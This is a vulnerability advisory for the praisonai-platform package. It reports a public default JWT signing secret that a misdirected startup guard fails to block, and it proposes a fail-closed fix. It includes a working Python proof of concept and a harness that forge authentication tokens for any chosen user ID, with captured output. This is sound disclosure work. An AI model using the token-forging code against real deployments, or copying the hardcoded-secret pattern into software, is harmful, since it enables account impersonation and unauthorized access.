PYSEC-2026-3524 
# praisonai-platform: default JWT signing secret `dev-secret-change-me`

**Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research
**Target:** https://github.com/MervinPraison/PraisonAI

---

**Package:** `praisonai-platform` on PyPI
**Latest version (and version tested):** `0.1.4`, current as of 2026-06-01.
**File:** `praisonai_platform/services/auth_service.py` (sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`).
**Weakness:** CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource.

---

## TL;DR

`praisonai_platform/services/auth_service.py` lines 25-37:

```python
_DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET)
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))

if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
    raise RuntimeError(
        "PLATFORM_JWT_SECRET must be set to a strong random value in production. "
        "Set PLATFORM_ENV=dev to suppress this check during development."
    )
```

The guard at line 33 is meant to catch the "deployed to production with the default secret" failure mode. But it only fires when **both**:

- the operator left `PLATFORM_JWT_SECRET` unset (so `JWT_SECRET` is the default literal), **and**
- the operator explicitly set `PLATFORM_ENV` to something other than `"dev"`.

If the operator left **both** env vars unset — the most common mis-deploy — `PLATFORM_ENV` falls back to `"dev"`, the second leg of the `and` evaluates `False`, and the guard does NOT fire. The server starts up signing every JWT with the public string `'dev-secret-change-me'`.

The fix is to invert the polarity: refuse startup when the secret is the default **regardless** of `PLATFORM_ENV`, except when an explicit `PLATFORM_ALLOW_DEV_SECRET=true` (or equivalent) flag is set. That flips "default-allow" to "default-deny", which is what the line-33 comment implies the author wanted.

## Root cause

```
   Expected behavior, reading line 33 of auth_service.py:
     "Good — the framework refuses to start in production with a
      default-string secret.  I'm safe by construction."

   Actual behavior:
     - PLATFORM_ENV defaults to 'dev' when unset.
     - The guard checks PLATFORM_ENV != 'dev', not PLATFORM_ENV == 'production'
       or "operator explicitly opted in to using the dev secret".
     - So the "deployed without setting any env var" config — typical
       for first-pip-install or quick-start docker — sits silently in
       dev mode with the public secret.

   Impact:
     A guard that requires the operator to EXPLICITLY signal
     "production" cannot catch operators who forgot to signal anything.
     The forgot-to-signal case is the one the guard was designed to
     catch.
```

## Empirical verification

`poc/poc.py` imports the **installed** PyPI package (`praisonai-platform==0.1.4`) with both env vars unset:

```
[1] startup guard at auth_service.py:33 status
    Inputs:
      JWT_SECRET    = 'dev-secret-change-me'
      _DEFAULT_SECRET = 'dev-secret-change-me'
      PLATFORM_ENV  = 'dev'  (default 'dev')
    -> JWT_SECRET == _DEFAULT_SECRET: True
    -> PLATFORM_ENV != 'dev':         False
    -> guard fires?                   False

[2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258
    JWT_ALGORITHM: 'HS256'

[3] forge a JWT signed with the live JWT_SECRET
    forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[4] jwt.decode(forged_token, JWT_SECRET) — same call as
    AuthService._verify_token at auth_service.py:139
    decoded.sub  = admin-user-id-attacker-chose
    decoded.email= admin@example.com

[5] AuthService._verify_token(forged_token) (live method call)
    identity.id    = admin-user-id-attacker-chose
    identity.email = admin@example.com

VERDICT: VULNERABLE
EXIT 0
```

Step [5] is the load-bearing one: the attacker token is decoded by the **same method** the FastAPI dependency `get_current_user` (`praisonai_platform/api/deps.py:28`) calls. The returned `AuthIdentity` carries the attacker-chosen `sub` (user id) and `email`. Every route protected by `Depends(get_current_user)` (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity.

PyJWT itself warns the key is 20 bytes — below the RFC 7518 §3.2 minimum of 32 bytes for HS256.

## Impact

This is the familiar default-secret shape — a hardcoded fallback used to sign authentication tokens — with the additional twist that this one has a guard the author *intended* to catch the misconfiguration but whose polarity is wrong. Every route in `praisonai_platform.api.app:create_app` is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user.

Workspace authorisation (`require_workspace_member` in `deps.py`) then checks the forged user is a member of the requested workspace; if the attacker mints a token with `sub` equal to a known member's id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client — including the attacker's own forged token.

## Anchors

`praisonai-platform` 0.1.4, `praisonai_platform/services/auth_service.py` (file sha256 `cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258`):

| Line  | Code                                                                | Meaning |
|-------|---------------------------------------------------------------------|---------|
| 25    | `_DEFAULT_SECRET = "dev-secret-change-me"`                          | Public default literal.  |
| 26    | `JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET)` | Env-var fallback chain. |
| 27    | `JWT_ALGORITHM = "HS256"`                                            | HMAC-SHA256 with the default key. |
| 33-37 | `if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev": raise RuntimeError(...)` | The asymmetric guard.  Defaults `PLATFORM_ENV` to `"dev"`, so the `!= "dev"` check evaluates `False` on the forgot-to-set case. |
| 108-118 | `_issue_token(...)` calls `jwt.encode(payload, JWT_SECRET, …)`     | Signing site. |
| 137-150 | `_verify_token(...)` calls `jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])` | Verification site — accepts attacker-forged tokens.  |

`praisonai_platform/api/deps.py:28` `get_current_user` calls `AuthService.authenticate({"token": token})` which routes to `_verify_token`. Every router under `praisonai_platform.api.app` mounts handlers behind this dependency.

## Suggested fix

Invert the guard polarity:

```python
import secrets

_DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET")
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))

if not JWT_SECRET:
    # Allow the dev fallback only when the operator EXPLICITLY signals
    # they understand it.  The default posture is fail-closed.
    if os.environ.get("PLATFORM_ALLOW_DEV_SECRET", "").lower() == "true":
        JWT_SECRET = _DEFAULT_SECRET
    else:
        raise RuntimeError(
            "PLATFORM_JWT_SECRET is required.  "
            "For local development only, set PLATFORM_ALLOW_DEV_SECRET=true."
        )
```

This pattern is borrowed from Django's `SECRET_KEY` first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (`PLATFORM_ALLOW_DEV_SECRET=true`) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default.

## Steps to reproduce

1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`
2. Run the proof of concept (`poc.py`) against the cloned source.
3. Observe the result shown under *Verified result* below.

## Proof of concept

`poc.py`

```python
"""
PoC: praisonai-platform's default JWT signing key is the public literal
'dev-secret-change-me', and the guard intended to refuse production
startup checks the wrong axis — operators who deploy without setting
`PLATFORM_ENV` are treated as `dev` and silently get the public secret.

Prerequisite:
    pip install praisonai-platform pyjwt
"""

import hashlib
import inspect
import os
import sys

def main() -> int:
    # Simulate the realistic "operator pip-installed praisonai-platform
    # and started uvicorn without setting any env var" deployment.
    for env_var in ('PLATFORM_JWT_SECRET', 'PLATFORM_ENV'):
        if env_var in os.environ:
            del os.environ[env_var]

    print('=' * 72)
    print('praisonai-platform — default JWT secret')
    print('=' * 72)

    try:
        from praisonai_platform.services import auth_service
    except RuntimeError as e:
        print(f'\nUNEXPECTED — import raised at startup: {e}')
        return 1

    src = inspect.getsourcefile(auth_service)
    with open(src, 'rb') as f:
        sha = hashlib.sha256(f.read()).hexdigest()

    print()
    print('[1] startup guard at auth_service.py:33 status')
    print(f'      JWT_SECRET    = {auth_service.JWT_SECRET!r}')
    print(f'      _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}')
    print(f"      PLATFORM_ENV  = {os.environ.get('PLATFORM_ENV', 'dev')!r}  (default 'dev')")
    print('    => Guard does NOT fire on the "operator forgot to set both" failure mode.')

    print()
    print('[2] module sha256 + key bindings on the LIVE installed package')
    print(f'    sha256:          {sha}')
    print(f'    JWT_ALGORITHM:   {auth_service.JWT_ALGORITHM!r}')

    if auth_service.JWT_SECRET != 'dev-secret-change-me':
        print('UNEXPECTED — JWT_SECRET is not the public literal.')
        return 1

    import jwt
    from datetime import datetime, timedelta, timezone

    now = datetime.now(timezone.utc)
    forged_payload = {
        'sub': 'admin-user-id-attacker-chose',
        'email': 'admin@example.com',
        'name': 'Spoofed Admin',
        'iat': now,
        'exp': now + timedelta(seconds=3600),
    }
    forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, algorithm=auth_service.JWT_ALGORITHM)
    print()
    print('[3] forge a JWT signed with the live JWT_SECRET')
    print(f'    forged head: {forged_token[:70]}...')

    decoded = jwt.decode(forged_token, auth_service.JWT_SECRET, algorithms=[auth_service.JWT_ALGORITHM])
    print()
    print('[4] jwt.decode(forged_token, JWT_SECRET) — same call as AuthService._verify_token')
    print(f'    decoded.sub  = {decoded.get("sub")}')
    print(f'    decoded.email= {decoded.get("email")}')

    if decoded.get('sub') != 'admin-user-id-attacker-chose':
        print('UNEXPECTED — decoded payload mismatched.')
        return 1

    try:
        svc = auth_service.AuthService(session=None)
        identity = svc._verify_token(forged_token)
    except Exception as e:
        print(f'    (Couldn\'t reach _verify_token: {e!r})')
        identity = None

    if identity is not None:
        print()
        print('[5] AuthService._verify_token(forged_token) (live method call)')
        print(f'    identity.id    = {identity.id}')
        print(f'    identity.email = {identity.email}')

    print()
    print("VULNERABLE: praisonai-platform defaults JWT_SECRET to the public")
    print("            literal 'dev-secret-change-me'.  The line-33 guard only")
    print("            refuses startup when PLATFORM_ENV is explicitly non-'dev'")
    print('            AND the secret is default — operators who forgot to set')
    print('            the env var entirely are silently in dev mode.')
    print('VERDICT: VULNERABLE')
    return 0

if __name__ == '__main__':
    sys.exit(main())
```

## Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

```python
import sys, types, importlib.util, os
os.environ.pop("PLATFORM_JWT_SECRET", None); os.environ.pop("PLATFORM_ENV", None)  # default deploy
BASE = os.path.abspath("repos/PraisonAI/src/praisonai-platform")
def pkg(name, path=None):
    m=types.ModuleType(name)
    if path: m.__path__=[path]
    sys.modules[name]=m; return m
def stub(name, **a):
    m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m
pkg("praisonai_platform", BASE+"/praisonai_platform")
pkg("praisonai_platform.services", BASE+"/praisonai_platform/services")
pkg("praisonai_platform.db", BASE+"/praisonai_platform/db")
stub("praisonai_platform.db.models", Member=type("Member",(),{}), User=type("User",(),{}))
stub("sqlalchemy", select=lambda *a,**k:None)
sa_async=types.ModuleType("sqlalchemy.ext.asyncio"); sa_async.AsyncSession=type("AsyncSession",(),{}); sys.modules["sqlalchemy.ext.asyncio"]=sa_async; sys.modules["sqlalchemy.ext"]=types.ModuleType("sqlalchemy.ext")
stub("passlib"); stub("passlib.context", CryptContext=type("CryptContext",(),{"__init__":lambda s,*a,**k:None,"hash":lambda s,x:x,"verify":lambda s,a,b:a==b}))
stub("praisonaiagents")
class AuthIdentity:
    def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name
stub("praisonaiagents.auth", AuthIdentity=AuthIdentity)

spec=importlib.util.spec_from_file_location("praisonai_platform.services.auth_service", BASE+"/praisonai_platform/services/auth_service.py")
mod=importlib.util.module_from_spec(spec); mod.__package__="praisonai_platform.services"
sys.modules[spec.name]=mod; spec.loader.exec_module(mod)   # REAL auth_service.py

print("[*] REAL module JWT_SECRET =", repr(mod.JWT_SECRET), "| _DEFAULT_SECRET =", repr(mod._DEFAULT_SECRET))
AuthService=mod.AuthService
svc=AuthService.__new__(AuthService)                       # bypass DB __init__
FakeUser=type("U",(),{"id":"attacker-id","email":"attacker@evil.test","name":"admin"})
tok=svc._issue_token(FakeUser)                              # REAL _issue_token (default secret)
print("[*] REAL _issue_token ->", tok[:46],"...")
ident=svc._verify_token(tok)                                # REAL _verify_token
print("[+] REAL _verify_token ->", {"id":ident.id,"email":ident.email,"name":ident.name})
assert ident and ident.id=="attacker-id" and mod.JWT_SECRET=="dev-secret-change-me"
print("[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')")
```

## Verified result

This PoC was executed against the live upstream code; captured output:

```
[*] REAL module JWT_SECRET = 'dev-secret-change-me' | _DEFAULT_SECRET = 'dev-secret-change-me'
[*] REAL _issue_token -> eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ...
[+] REAL _verify_token -> {'id': 'attacker-id', 'email': 'attacker@evil.test', 'name': 'admin'}
[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')
```

## Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.
CVSS v3.1 score: 9.8